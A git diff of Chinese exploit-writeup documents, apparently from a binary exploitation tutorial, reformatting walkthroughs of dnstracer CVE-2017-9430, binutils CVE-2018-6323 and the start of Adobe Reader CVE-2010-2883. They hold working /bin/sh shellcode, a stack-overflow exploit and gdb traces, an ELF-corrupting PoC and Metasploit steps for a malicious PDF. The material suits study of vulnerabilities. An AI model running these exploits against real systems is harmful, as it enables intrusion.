**argv) strcpy(argv0, argv[0]); ``` - ## Exploit + 首先修改 Makefile,关掉栈保护,同时避免 gcc 使用安全函数 `__strcpy_chk()` 替换 `strcpy()`,修改编译选项如下: -``` -$ cat Makefile | grep -w CC + +```text +$ cat Makefile | grep -w CC CC = gcc -fno-stack-protector -z execstack -D_FORTIFY_SOURCE=0 COMPILE = $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) \ CCLD = $(CC) @@ -115,22 +123,26 @@ NX : disabled PIE : disabled RELRO : Partial ``` + 最后关掉 ASLR: -``` + +```text # echo 0 > /proc/sys/kernel/randomize_va_space ``` 因为漏洞发生在 main 函数中,堆栈的布置比起在子函数里也要复杂一些。大体过程和前面写过的一篇 wget 溢出漏洞差不多,但那一篇是 64 位程序,所以这里选择展示一下 32 位程序。 在 gdb 里进行调试,利用 pattern 确定溢出位置,1060 字节就足够了: -``` + +```text gdb-peda$ pattern_create 1060 gdb-peda$ pattern_offset $ebp 1849771630 found at offset: 1049 ``` + 所以返回地址位于栈偏移 `1049+4=1053` 的地方。 -``` +```text gdb-peda$ disassemble main 0x08048df8 <+808>: mov DWORD PTR [esp+0x4],edi 0x08048dfc <+812>: mov DWORD PTR [esp],ebx @@ -142,21 +154,23 @@ gdb-peda$ disassemble main 0x08048f72 <+1186>: call 0x804adb0 0x08048f77 <+1191>: mov DWORD PTR [esp],0xa ``` + 在下面几个地方下断点,并根据偏移调整我们的输入: -``` + +```text gdb-peda$ b *main+815 gdb-peda$ b *main+820 gdb-peda$ b *main+1186 gdb-peda$ r `perl -e 'print "A"x1053 . "BBBB"'` [----------------------------------registers-----------------------------------] -EAX: 0x1 -EBX: 0xbfffeb3f --> 0xffed9cb7 -ECX: 0x0 -EDX: 0xb7fc7180 --> 0x0 -ESI: 0xffffffff +EAX: 0x1 +EBX: 0xbfffeb3f --> 0xffed9cb7 +ECX: 0x0 +EDX: 0xb7fc7180 --> 0x0 +ESI: 0xffffffff EDI: 0xbffff174 ('A' ...) -EBP: 0xbfffef58 --> 0x0 -ESP: 0xbfffe6d0 --> 0xbfffeb3f --> 0xffed9cb7 +EBP: 0xbfffef58 --> 0x0 +ESP: 0xbfffe6d0 --> 0xbfffeb3f --> 0xffed9cb7 EIP: 0x8048dff (: call 0x8048950 ) EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] @@ -169,17 +183,17 @@ EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) 0x8048e08 : repnz scas al,BYTE PTR es:[edi] 0x8048e0a : not ecx Guessed arguments: -arg[0]: 0xbfffeb3f --> 0xffed9cb7 +arg[0]: 0xbfffeb3f --> 0xffed9cb7 arg[1]: 0xbffff174 ('A' ...) [------------------------------------stack-------------------------------------] -0000| 0xbfffe6d0 --> 0xbfffeb3f --> 0xffed9cb7 +0000| 0xbfffe6d0 --> 0xbfffeb3f --> 0xffed9cb7 0004| 0xbfffe6d4 --> 0xbffff174 ('A' ...) 0008| 0xbfffe6d8 --> 0x804be37 ("4cCoq:r:S:s:t:v") -0012| 0xbfffe6dc --> 0x0 -0016| 0xbfffe6e0 --> 0x0 -0020| 0xbfffe6e4 --> 0x0 -0024| 0xbfffe6e8 --> 0x0 -0028| 0xbfffe6ec --> 0x0 +0012| 0xbfffe6dc --> 0x0 +0016| 0xbfffe6e0 --> 0x0 +0020| 0xbfffe6e4 --> 0x0 +0024| 0xbfffe6e8 --> 0x0 +0028| 0xbfffe6ec --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value @@ -190,8 +204,10 @@ gdb-peda$ x/10wx argv0 0xbfffeb4f: 0xe33b9700 0xfdcac0b7 0x000000b7 0xffeff400 0xbfffeb5f: 0xe24e08b7 0x000001b7 ``` + 所以栈位于 `0xbfffeb3f`,执行这一行代码即可将 `0xbffff174` 处的 "A" 字符串复制到 `argv0` 数组中: -``` + +```text gdb-peda$ c Continuing. [----------------------------------registers-----------------------------------] @@ -199,7 +215,7 @@ EAX: 0xbfffe6bf ('A' ...) EBX: 0xbfffe6bf ('A' ...) ECX: 0xbffff1d0 ("BBBB") EDX: 0xbfffeadc ("BBBB") -ESI: 0x0 +ESI: 0x0 EDI: 0xbfffedb3 ('A' ...) EBP: 0xbfffead8 ("AAAABBBB") ESP: 0xbfffe290 --> 0xbfffe6bf ('A' ...) @@ -217,12 +233,12 @@ EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow) [------------------------------------stack-------------------------------------] 0000| 0xbfffe290 --> 0xbfffe6bf ('A' ...) 0004| 0xbfffe294 --> 0xbfffedb3 ('A' ...) -0008| 0xbfffe298 --> 0xffffffff -0012| 0xbfffe29c --> 0xffffffff -0016| 0xbfffe2a0 --> 0x0 -0020| 0xbfffe2a4 --> 0x0 +0008| 0xbfffe298 --> 0xffffffff +0012| 0xbfffe29c --> 0xffffffff +0016| 0xbfffe2a0 --> 0x0 +0020| 0xbfffe2a4 --> 0x0 0024| 0xbfffe2a8 --> 0x8051018 ("127.0.1.1") -0028| 0xbfffe2ac --> 0xffffffff +0028| 0xbfffe2ac --> 0xffffffff [------------------------------------------------------------------------------] Legend: code, data, rodata, value @@ -236,79 +252,91 @@ gdb-peda$ x/5wx argv0+1053-0x10 0xbfffef4c: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffef5c: 0x42424242 ``` + 同时字符串 "BBBB" 覆盖了返回地址。所以我们用栈地址 `0xbfffeb3f` 替换掉 "BBBB": -``` + +```text gdb-peda$ r `perl -e 'print "A"x1053 . "\x3f\xeb\xff\xbf"'` ``` -``` + +```text gdb-peda$ x/5wx argv0+1053-0x10 0xbfffef4c: 0x41414141 0x41414141 0x41414141 0x41414141 <-- ebp 0xbfffef5c: 0xbfffeb3f <-- return address ``` 然后就可以在栈上布置 shellcode 了,这一段 shellcode 长度为 23 字节,前面使用 nop 指令填充: -``` + +```text gdb-peda$ r `perl -e 'print "\x90"x1030 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x3f\xeb\xff\xbf"'` gdb-peda$ x/7wx argv0+1053-23 0xbfffef45: 0x6850c031 0x68732f2f 0x69622f68 0x50e3896e <-- shellcode 0xbfffef55: 0xb0e18953 0x3f80cd0b 0x00bfffeb ``` + 根据计算,shellcode 位于 `0xbfffef45`。 然而当我们执行这个程序的时候,发生了错误: -``` + +```text gdb-peda$ c -127.0.0.1 (127.0.0.1) * * * +127.0.0.1 (127.0.0.1) * * * Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] -EAX: 0x0 +EAX: 0x0 EBX: 0xbfffef54 ("/bin//sh") -ECX: 0xffffffff -EDX: 0xb7fc88b8 --> 0x0 -ESI: 0xe3896e69 -EDI: 0xe1895350 -EBP: 0x80cd0bb0 +ECX: 0xffffffff +EDX: 0xb7fc88b8 --> 0x0 +ESI: 0xe3896e69 +EDI: 0xe1895350 +EBP: 0x80cd0bb0 ESP: 0xbfffef54 ("/bin//sh") EIP: 0xbfffef55 ("bin//sh") EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0xbfffef4d: push 0x6e69622f 0xbfffef52: mov ebx,esp - 0xbfffef54: das + 0xbfffef54: das => 0xbfffef55: bound ebp,QWORD PTR [ecx+0x6e] - 0xbfffef58: das - 0xbfffef59: das + 0xbfffef58: das + 0xbfffef59: das 0xbfffef5a: jae 0xbfffefc4 0xbfffef5c: add BYTE PTR [eax],al [------------------------------------stack-------------------------------------] 0000| 0xbfffef54 ("/bin//sh") 0004| 0xbfffef58 ("//sh") -0008| 0xbfffef5c --> 0x0 -0012| 0xbfffef60 --> 0x0 +0008| 0xbfffef5c --> 0x0 +0012| 0xbfffef60 --> 0x0 0016| 0xbfffef64 --> 0xbfffeff4 --> 0xbffff15b ("/usr/local/bin/dnstracer") 0020| 0xbfffef68 --> 0xbffff000 --> 0xbffff596 ("SSH_AGENT_PID=1407") -0024| 0xbfffef6c --> 0xb7fdc858 --> 0xb7e21000 --> 0x464c457f -0028| 0xbfffef70 --> 0x0 +0024| 0xbfffef6c --> 0xb7fdc858 --> 0xb7e21000 --> 0x464c457f +0028| 0xbfffef70 --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0xbfffef55 in ?? () ``` + 错误发生在 `0xbfffef55`,而 shellcode 位于 `0xbfffef45`,两者相差 16 字节: -``` + +```text gdb-peda$ x/8wx 0xbfffef45 0xbfffef45: 0x6850c031 0x68732f2f 0x69622f68 0x2fe3896e 0xbfffef55: 0x2f6e6962 0x0068732f 0x00000000 0xf4000000 ``` + 所以这里采用的解决办法是去掉前面的 16 个 nop,将其加到 shellcode 后面。 -``` + +```text gdb-peda$ r `perl -e 'print "\x90"x1014 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x90"x16 . "\x3f\xeb\xff\xbf"'` ``` + 成功获得 shell。 -``` + +```text gdb-peda$ c -127.0.0.1 (127.0.0.1) * * * +127.0.0.1 (127.0.0.1) * * * process 7161 is executing new program: /bin/dash $ id [New process 7165] @@ -319,11 +347,14 @@ Warning: not running or target is remote ``` 那如果我们开启了 ASLR 怎么办呢,一种常用的方法是利用指令 `jmp esp` 覆盖返回地址,这将使程序在返回地址的地方继续执行,从而执行跟在后面的 shellcode。利用 objdump 就可以找到这样的指令: -``` + +```text $ objdump -M intel -D /usr/local/bin/dnstracer | grep jmp | grep esp 804cc5f: ff e4 jmp esp ``` + exp 如下: + ```python import os from subprocess import call @@ -342,19 +373,21 @@ if __name__ == '__main__': except Exception as e: print "Something went wrong" ``` + Bingo!!! -``` -$ python exp.py + +```text +$ python exp.py Tracing to AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA_�1�Ph//shh/bin��PS��� [a] via 127.0.0.1, maximum of 3 retries -127.0.0.1 (127.0.0.1) * * * -$ id +127.0.0.1 (127.0.0.1) * * * +$ id uid=1000(firmy) gid=1000(firmy) groups=1000(firmy),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare) ``` - ## 参考资料 -- http://www.mavetju.org/unix/dnstracer.php + +- - [CVE-2017-9430](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9430) - [DNSTracer 1.9 - Local Buffer Overflow](https://www.exploit-db.com/exploits/42424/) - [DNSTracer 1.8.1 - Buffer Overflow (PoC)](https://www.exploit-db.com/exploits/42115/) diff --git a/doc/7.1.7_binutils_2018-6323.md b/doc/7.1.7_binutils_2018-6323.md index daf8f87..5532d7e 100644 --- a/doc/7.1.7_binutils_2018-6323.md +++ b/doc/7.1.7_binutils_2018-6323.md @@ -5,14 +5,14 @@ - [漏洞分析](#漏洞分析) - [参考资料](#参考资料) - [下载文件](../src/exploit/7.1.7_binutils_2018-6323) ## 漏洞描述 + 二进制文件描述符(BFD)库(也称为libbfd)中头文件 `elfcode.h` 中的 `elf_object_p()` 函数(binutils-2.29.1 之前)具有无符号整数溢出,溢出的原因是没有使用 `bfd_size_type` 乘法。精心制作的 ELF 文件可能导致拒绝服务攻击。 - ## 漏洞复现 + | |推荐使用的环境 | 备注 | | --- | --- | --- | | 操作系统 | Ubuntu 16.04 | 体系结构:32 位 | @@ -20,7 +20,8 @@ | 漏洞软件 | binutils | 版本号:2.29.1 | 系统自带的版本是 2.26.1,我们这里编译安装有漏洞的最后一个版本 2.29.1: -``` + +```text $ wget https://ftp.gnu.org/gnu/binutils/binutils-2.29.1.tar.gz $ tar zxvf binutils-2.29.1.tar.gz $ cd binutils-2.29.1/ @@ -31,14 +32,15 @@ $ file /usr/local/bin/objdump ``` 使用 PoC 如下: + ```python import os - + hello = "#include\nint main(){printf(\"HelloWorld!\\n\"); return 0;}" f = open("helloWorld.c", 'w') f.write(hello) f.close() - + os.system("gcc -c helloWorld.c -o test") f = open("test", 'rb+') @@ -50,8 +52,9 @@ f.close() os.system("objdump -x test") ``` -``` -$ python poc.py + +```text +$ python poc.py objdump: test: File truncated *** Error in `objdump': free(): invalid pointer: 0x09b99aa8 *** ======= Backtrace: ========= @@ -70,25 +73,25 @@ objdump[0x804c3ca] 08048000-08245000 r-xp 00000000 08:01 265097 /usr/local/bin/objdump 08245000-08246000 r--p 001fc000 08:01 265097 /usr/local/bin/objdump 08246000-0824b000 rw-p 001fd000 08:01 265097 /usr/local/bin/objdump -0824b000-08250000 rw-p 00000000 00:00 0 +0824b000-08250000 rw-p 00000000 00:00 0 09b98000-09bb9000 rw-p 00000000 00:00 0 [heap] -b7a00000-b7a21000 rw-p 00000000 00:00 0 -b7a21000-b7b00000 ---p 00000000 00:00 0 +b7a00000-b7a21000 rw-p 00000000 00:00 0 +b7a21000-b7b00000 ---p 00000000 00:00 0 b7b99000-b7bb5000 r-xp 00000000 08:01 394789 /lib/i386-linux-gnu/libgcc_s.so.1 b7bb5000-b7bb6000 rw-p 0001b000 08:01 394789 /lib/i386-linux-gnu/libgcc_s.so.1 b7bcd000-b7dcd000 r--p 00000000 08:01 133406 /usr/lib/locale/locale-archive -b7dcd000-b7dce000 rw-p 00000000 00:00 0 +b7dcd000-b7dce000 rw-p 00000000 00:00 0 b7dce000-b7f7e000 r-xp 00000000 08:01 395148 /lib/i386-linux-gnu/libc-2.23.so b7f7e000-b7f80000 r--p 001af000 08:01 395148 /lib/i386-linux-gnu/libc-2.23.so b7f80000-b7f81000 rw-p 001b1000 08:01 395148 /lib/i386-linux-gnu/libc-2.23.so -b7f81000-b7f84000 rw-p 00000000 00:00 0 +b7f81000-b7f84000 rw-p 00000000 00:00 0 b7f84000-b7f87000 r-xp 00000000 08:01 395150 /lib/i386-linux-gnu/libdl-2.23.so b7f87000-b7f88000 r--p 00002000 08:01 395150 /lib/i386-linux-gnu/libdl-2.23.so b7f88000-b7f89000 rw-p 00003000 08:01 395150 /lib/i386-linux-gnu/libdl-2.23.so -b7f97000-b7f98000 rw-p 00000000 00:00 0 +b7f97000-b7f98000 rw-p 00000000 00:00 0 b7f98000-b7f9f000 r--s 00000000 08:01 149142 /usr/lib/i386-linux-gnu/gconv/gconv-modules.cache b7f9f000-b7fa0000 r--p 002d4000 08:01 133406 /usr/lib/locale/locale-archive -b7fa0000-b7fa1000 rw-p 00000000 00:00 0 +b7fa0000-b7fa1000 rw-p 00000000 00:00 0 b7fa1000-b7fa4000 r--p 00000000 00:00 0 [vvar] b7fa4000-b7fa6000 r-xp 00000000 00:00 0 [vdso] b7fa6000-b7fc9000 r-xp 00000000 08:01 395146 /lib/i386-linux-gnu/ld-2.23.so @@ -99,18 +102,20 @@ Aborted (core dumped) ``` 需要注意的是如果在 configure 的时候没有使用参数 `--enable-64-bit-bfd`,将会出现下面的结果: -``` -$ python poc.py + +```text +$ python poc.py objdump: test: File format not recognized ``` - ## 漏洞分析 + 首先要知道什么是 BFD。BFD 是 Binary File Descriptor 的简称,使用它可以在你不了解程序文件格式的情况下,读写 ELF header, program header table, section header table 还有各个 section 等。当然也可以是其他的 BFD 支持的对象文件(比如COFF,a.out等)。对每一个文件格式来说,BFD 都分两个部分:前端和后端。前端给用户提供接口,它管理内存和规范数据结构,也决定了哪个后端被使用和什么时候后端的例程被调用。为了使用 BFD,需要包括 `bfd.h` 并且连接的时候需要和静态库 `libbfd.a` 或者动态库 `libbfd.so` 一起连接。 看一下这个引起崩溃的二进制文件,它作为一个可重定位文件,本来不应该有 program headers,但这里的 Number of program headers 这一项被修改为一个很大的值,已经超过了程序在内存中的范围: -``` -$ file test + +```text +$ file test test: ELF 32-bit LSB relocatable, Intel 80386, version 1 (SYSV), not stripped $ readelf -h test | grep program readelf: Error: Out of memory reading 536870912 program headers @@ -120,40 +125,43 @@ readelf: Error: Out of memory reading 536870912 program headers ``` objdump 用于显示一个或多个目标文件的各种信息,通常用作反汇编器,但也能显示文件头,符号表,重定向等信息。objdump 的执行流程是这样的: + 1. 首先检查命令行参数,通过 switch 语句选择要被显示的信息。 2. 剩下的参数被默认为目标文件,它们通过 `display_bfd()` 函数进行排序。 3. 目标文件的文件类型和体系结构通过 `bfd_check_format()` 函数来确定。如果被成功识别,则 `dump_bfd()` 函数被调用。 4. `dump_bfd()` 依次调用单独的函数来显示相应的信息。 回溯栈调用情况: -``` + +```text gdb-peda$ r -x test gdb-peda$ bt #0 0xb7fd9ce5 in __kernel_vsyscall () #1 0xb7e2eea9 in __GI_raise (sig=0x6) at ../sysdeps/unix/sysv/linux/raise.c:54 #2 0xb7e30407 in __GI_abort () at abort.c:89 -#3 0xb7e6a37c in __libc_message (do_abort=0x2, +#3 0xb7e6a37c in __libc_message (do_abort=0x2, fmt=0xb7f62e54 "*** Error in `%s': %s: 0x%s ***\n") at ../sysdeps/posix/libc_fatal.c:175 -#4 0xb7e702f7 in malloc_printerr (action=, - str=0xb7f5f943 "free(): invalid pointer", ptr=, +#4 0xb7e702f7 in malloc_printerr (action=, + str=0xb7f5f943 "free(): invalid pointer", ptr=, ar_ptr=0xb7fb5780 ) at malloc.c:5006 -#5 0xb7e70c31 in _int_free (av=0xb7fb5780 , p=, +#5 0xb7e70c31 in _int_free (av=0xb7fb5780 , p=, have_lock=0x0) at malloc.c:3867 #6 0x0814feab in objalloc_free (o=0x8250800) at ./objalloc.c:187 #7 0x08096c10 in bfd_hash_table_free (table=0x8250a4c) at hash.c:426 #8 0x080985fc in _bfd_delete_bfd (abfd=abfd@entry=0x8250a08) at opncls.c:125 #9 0x08099257 in bfd_close_all_done (abfd=0x8250a08) at opncls.c:773 -#10 0x08052791 in display_file (filename=0xbffff136 "test", target=, +#10 0x08052791 in display_file (filename=0xbffff136 "test", target=, last_file=0x1) at ./objdump.c:3726 #11 0x0804c1af in main (argc=0x3, argv=0xbfffef04) at ./objdump.c:4015 -#12 0xb7e1b637 in __libc_start_main (main=0x804ba50
, argc=0x3, argv=0xbfffef04, - init=0x8150fd0 <__libc_csu_init>, fini=0x8151030 <__libc_csu_fini>, +#12 0xb7e1b637 in __libc_start_main (main=0x804ba50
, argc=0x3, argv=0xbfffef04, + init=0x8150fd0 <__libc_csu_init>, fini=0x8151030 <__libc_csu_fini>, rtld_fini=0xb7fea880 <_dl_fini>, stack_end=0xbfffeefc) at ../csu/libc-start.c:291 #13 0x0804c3ca in _start () ``` 一步一步追踪函数调用: + ```c // binutils/objdump.c @@ -199,6 +207,7 @@ main (int argc, char **argv) [...] } ``` + ```c // binutils/objdump.c @@ -218,6 +227,7 @@ display_file (char *filename, char *target) bfd_close_all_done (file); } ``` + ```c // binutils/objdump.c @@ -239,6 +249,7 @@ display_any_bfd (bfd *file, int level) ``` 最关键的部分,读取 program headers 的逻辑如下: + ```c // binutils/objdump.c @@ -273,14 +284,15 @@ display_any_bfd (bfd *file, int level) ``` 因为伪造的数值 `0xffff` 大于 0,进入读取 program headers 的代码。然后在溢出点乘法运算前,eax 为伪造的数值 `0x20000000`: -``` + +```text gdb-peda$ ni [----------------------------------registers-----------------------------------] EAX: 0x20000000 ('') EBX: 0x8250a08 --> 0x8250810 ("test") ECX: 0xd ('\r') EDX: 0x5f ('_') -ESI: 0x8250ac8 --> 0x464c457f +ESI: 0x8250ac8 --> 0x464c457f EDI: 0xd ('\r') EBP: 0x81ca560 --> 0x81c9429 ("elf32-i386") ESP: 0xbfffec20 --> 0xb7fe97eb (<_dl_fixup+11>: add esi,0x15815) @@ -297,9 +309,9 @@ EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) 0x80aeba9 : push eax [------------------------------------stack-------------------------------------] 0000| 0xbfffec20 --> 0xb7fe97eb (<_dl_fixup+11>: add esi,0x15815) -0004| 0xbfffec24 --> 0x8250ac8 --> 0x464c457f +0004| 0xbfffec24 --> 0x8250ac8 --> 0x464c457f 0008| 0xbfffec28 --> 0xd ('\r') -0012| 0xbfffec2c --> 0x0 +0012| 0xbfffec2c --> 0x0 0016| 0xbfffec30 --> 0x8250a0c --> 0x81ca560 --> 0x81c9429 ("elf32-i386") 0020| 0xbfffec34 --> 0x82482a0 --> 0x9 ('\t') 0024| 0xbfffec38 --> 0x8250a08 --> 0x8250810 ("test") @@ -308,15 +320,17 @@ EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) Legend: code, data, rodata, value 780 elf_tdata (abfd)->phdr = (Elf_Internal_Phdr *) bfd_alloc (abfd, amt); ``` + 做乘法运算,`0x20000000 * 0x38 = 0x700000000`,产生溢出。截断后高位的 `0x7` 被丢弃, eax 为 `0x00000000`,且 OVERFLOW 的标志位被设置: -``` + +```text gdb-peda$ ni [----------------------------------registers-----------------------------------] -EAX: 0x0 +EAX: 0x0 EBX: 0x8250a08 --> 0x8250810 ("test") ECX: 0xd ('\r') EDX: 0x5f ('_') -ESI: 0x8250ac8 --> 0x464c457f +ESI: 0x8250ac8 --> 0x464c457f EDI: 0xd ('\r') EBP: 0x81ca560 --> 0x81c9429 ("elf32-i386") ESP: 0xbfffec20 --> 0xb7fe97eb (<_dl_fixup+11>: add esi,0x15815) @@ -333,9 +347,9 @@ EFLAGS: 0xa07 (CARRY PARITY adjust zero sign trap INTERRUPT direction OVERFLOW) 0x80aebaa : push ebx [------------------------------------stack-------------------------------------] 0000| 0xbfffec20 --> 0xb7fe97eb (<_dl_fixup+11>: add esi,0x15815) -0004| 0xbfffec24 --> 0x8250ac8 --> 0x464c457f +0004| 0xbfffec24 --> 0x8250ac8 --> 0x464c457f 0008| 0xbfffec28 --> 0xd ('\r') -0012| 0xbfffec2c --> 0x0 +0012| 0xbfffec2c --> 0x0 0016| 0xbfffec30 --> 0x8250a0c --> 0x81ca560 --> 0x81c9429 ("elf32-i386") 0020| 0xbfffec34 --> 0x82482a0 --> 0x9 ('\t') 0024| 0xbfffec38 --> 0x8250a08 --> 0x8250810 ("test") @@ -344,20 +358,23 @@ EFLAGS: 0xa07 (CARRY PARITY adjust zero sign trap INTERRUPT direction OVERFLOW) Legend: code, data, rodata, value 0x080aeba3 780 elf_tdata (abfd)->phdr = (Elf_Internal_Phdr *) bfd_alloc (abfd, amt); ``` + 于是,在随后的 `bfd_alloc()` 调用时,第二个参数即大小为 0,分配不成功: + ```c // bfd/opncls.c void *bfd_alloc (bfd *abfd, bfd_size_type wanted); ``` -``` + +```text gdb-peda$ ni [----------------------------------registers-----------------------------------] -EAX: 0x0 +EAX: 0x0 EBX: 0x8250a08 --> 0x8250810 ("test") ECX: 0xd ('\r') -EDX: 0x0 -ESI: 0x8250ac8 --> 0x464c457f +EDX: 0x0 +ESI: 0x8250ac8 --> 0x464c457f EDI: 0xd ('\r') EBP: 0x81ca560 --> 0x81c9429 ("elf32-i386") ESP: 0xbfffec10 --> 0x8250a08 --> 0x8250810 ("test") @@ -374,17 +391,17 @@ EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) 0x80aebbc : mov ecx,DWORD PTR [eax+0x50] Guessed arguments: arg[0]: 0x8250a08 --> 0x8250810 ("test") -arg[1]: 0x0 -arg[2]: 0x0 +arg[1]: 0x0 +arg[2]: 0x0 [------------------------------------stack-------------------------------------] 0000| 0xbfffec10 --> 0x8250a08 --> 0x8250810 ("test") -0004| 0xbfffec14 --> 0x0 -0008| 0xbfffec18 --> 0x0 +0004| 0xbfffec14 --> 0x0 +0008| 0xbfffec18 --> 0x0 0012| 0xbfffec1c --> 0x80aea71 (: mov eax,DWORD PTR [esi+0x28]) 0016| 0xbfffec20 --> 0xb7fe97eb (<_dl_fixup+11>: add esi,0x15815) -0020| 0xbfffec24 --> 0x8250ac8 --> 0x464c457f +0020| 0xbfffec24 --> 0x8250ac8 --> 0x464c457f 0024| 0xbfffec28 --> 0xd ('\r') -0028| 0xbfffec2c --> 0x0 +0028| 0xbfffec2c --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x080aebab 780 elf_tdata (abfd)->phdr = (Elf_Internal_Phdr *) bfd_alloc (abfd, amt); @@ -392,15 +409,19 @@ Legend: code, data, rodata, value 在后续的过程中,从 `bfd_close_all_done()` 到 `objalloc_free()`,用于清理释放内存,其中就对 `bfd_alloc()` 分配的内存区域进行了 `free()` 操作,而这又是一个不存在的地址,于是抛出了异常。 -#### 补丁 +### 补丁 + 该漏洞在 binutils-2.30 中被修复,补丁将 `i_ehdrp->e_shnum` 转换成 unsigned long 类型的 `bfd_size_type`,从而避免整型溢出。BFD 开发文件包含在软件包 `binutils-dev` 中: + ```c // /usr/include/bfd.h typedef unsigned long bfd_size_type; ``` + 由于存在回绕,一个无符号整数表达式永远无法求出小于零的值,也就不会产生溢出。 所谓回绕,可以看下面这个例子: + ```c unsigned int ui; ui = UINT_MAX; // 在 32 位上为 4 294 967 295 @@ -412,6 +433,7 @@ printf("ui = %u\n", ui); // 在 32 位上,ui = 4 294 967 295 ``` 补丁如下: + ```diff $ git show 38e64b0ecc7f4ee64a02514b8d532782ac057fa2 bfd/elfcode.h commit 38e64b0ecc7f4ee64a02514b8d532782ac057fa2 @@ -419,9 +441,9 @@ Author: Alan Modra Date: Thu Jan 25 21:47:41 2018 +1030 PR22746, crash when running 32-bit objdump on corrupted file - + Avoid unsigned int overflow by performing bfd_size_type multiplication. - + PR 22746 * elfcode.h (elf_object_p): Avoid integer overflow. @@ -450,14 +472,15 @@ index 00a9001..ea1388d 100644 ``` 打上补丁之后的 objdump 没有再崩溃: -``` + +```text $ objdump -v | head -n 1 GNU objdump (GNU Binutils) 2.30 -$ objdump -x test +$ objdump -x test objdump: test: Memory exhausted ``` - ## 参考资料 -- https://www.cvedetails.com/cve/CVE-2018-6323/ + +- - [GNU binutils 2.26.1 - Integer Overflow (POC)](https://www.exploit-db.com/exploits/44035/) diff --git a/doc/7.1.8_adobe_reader_2010-2883.md b/doc/7.1.8_adobe_reader_2010-2883.md index 8ee991d..8e9911a 100644 --- a/doc/7.1.8_adobe_reader_2010-2883.md +++ b/doc/7.1.8_adobe_reader_2010-2883.md @@ -5,14 +5,14 @@ - [漏洞分析](#漏洞分析) - [参考资料](#参考资料) - [下载文件](../src/exploit/7.1.8_adobe_reader_2010-2883) ## 漏洞描述 + Adobe Reader 和 Acrobat 9.4 之前版本的 CoolType.dll 中存在基于栈的缓冲区溢出漏洞。远程攻击者可借助带有 TTF 字体的 Smart INdependent Glyphlets (SING) 表格中超长字段的 PDF 文件执行任意代码或者导致拒绝服务。 - ## 漏洞复现 + | |推荐使用的环境 | 备注 | | --- | --- | --- | | 操作系统 | Windows XP SP3 | 体系结构:32 位 | @@ -21,7 +21,8 @@ Adobe Reader 和 Acrobat 9.4 之前版本的 CoolType.dll 中存在基于栈的 | 漏洞软件 | Adobe Reader | 版本号:9.3.4 | 我们利用 Metasploit 来生成攻击样本: -``` + +```text msf > search cve-2010-2883 Name Disclosure Date Rank Description ---- --------------- ---- ----------- @@ -30,7 +31,7 @@ msf > search cve-2010-2883 msf > use exploit/windows/fileformat/adobe_cooltype_sing msf exploit(windows/fileformat/adobe_cooltype_sing) > show info -msf exploit(windows/fileformat/adobe_cooltype_sing) > set payload windows/exec +msf exploit(windows/fileformat/adobe_cooltype_sing) > set payload windows/exec payload => windows/exec msf exploit(windows/fileformat/adobe_cooltype_sing) > set cmd calc.exe @@ -39,18 +40,20 @@ cmd => calc.exe msf exploit(windows/fileformat/adobe_cooltype_sing) > set filename cve20102883.pdf filename => cve20102883.pdf -msf exploit(windows/fileformat/adobe_cooltype_sing) > exploit 